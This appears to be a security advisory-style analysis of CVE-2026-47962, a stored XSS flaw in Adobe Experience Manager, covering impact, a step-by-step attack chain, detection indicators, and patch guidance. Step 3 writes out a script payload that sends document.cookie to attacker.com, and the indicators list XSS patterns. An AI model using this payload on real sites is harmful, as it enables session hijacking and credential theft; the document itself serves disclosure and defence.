CVE-2026-47962: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2026-47962 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.24 and earlier, LTS SP1, and AEM Cloud Service versions up to 2026.04. Adobe disclosed and patched the vulnerability on June 9, 2026, via security bulletin APSB26-56. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, GitHub Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. An attacker with low-level authenticated access can inject malicious JavaScript payloads into AEM form fields; the injected content is stored server-side and subsequently rendered in the browsers of any users who visit the affected page. Exploitation requires network access and user interaction (a victim browsing to the vulnerable page), but no elevated privileges beyond a basic authenticated account. The scope is marked as "Changed," meaning the injected script can affect resources outside the vulnerable component's security boundary (Adobe Advisory, GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who view pages containing the compromised form fields, potentially leading to theft of session tokens, authentication credentials, or other sensitive information. The changed scope means the impact extends beyond the AEM application itself to the browsers and sessions of affected users. Availability is not directly impacted, but confidentiality and integrity are both assessed as Low, reflecting the risk of data exposure and unauthorized content modification within the victim's browser context (Adobe Advisory, GitHub Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.24 or earlier, LTS SP1, or AEM Cloud Service prior to 2026.5.0. Confirm the presence of accessible form fields that accept and persist user input.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
3. Inject malicious payload: Navigate to a vulnerable AEM form field and submit a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent obfuscated variant.
4. Payload persistence: Confirm the injected script is stored and rendered when the affected page is loaded, verifying it is not sanitized on output.
5. Victim triggers execution: Wait for a privileged user (e.g., an AEM administrator or content editor) to browse to the page containing the injected field; the malicious JavaScript executes in their browser.
6. Harvest data: Collect exfiltrated session tokens, cookies, or credentials from the attacker-controlled server, potentially enabling session hijacking or further account compromise (Adobe Advisory, GitHub Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing suspicious HTML/JavaScript patterns (e.g., <script>, onerror=, javascript:) in form field parameters.
• Logs: AEM error or audit logs recording unexpected content modifications by low-privileged user accounts.
• Network: Outbound HTTP/HTTPS requests from victim browsers to unknown external domains shortly after loading AEM content pages, potentially carrying cookie or session data in query parameters.
• File System / Content Repository: Presence of JavaScript payloads stored within AEM's JCR (Java Content Repository) nodes associated with form fields or page components.
• Process/Browser: Unexpected redirects or resource loads to external domains triggered when AEM pages are rendered, observable via browser developer tools or proxy logs.

Adobe released a security update on June 9, 2026, addressing this vulnerability in APSB26-56. Users should upgrade AEM to version 6.5.25.0 or later (for the 6.5.x line), apply the LTS SP2 or later patch, or update AEM Cloud Service to release 2026.5.0 or later. As interim mitigations, administrators should restrict form field editing permissions to trusted users only, implement Content Security Policy (CSP) headers to limit script execution origins, and audit existing form field content for injected malicious scripts (Adobe Advisory).

Adobe's June 2026 patch batch, including this CVE, was noted in security community roundups such as the BeyondMachines June 2026 patch summary and the Fortress SRM June 2026 threat update. No significant independent researcher commentary or social media discussion specific to CVE-2026-47962 has been identified, consistent with its medium severity rating and lack of active exploitation.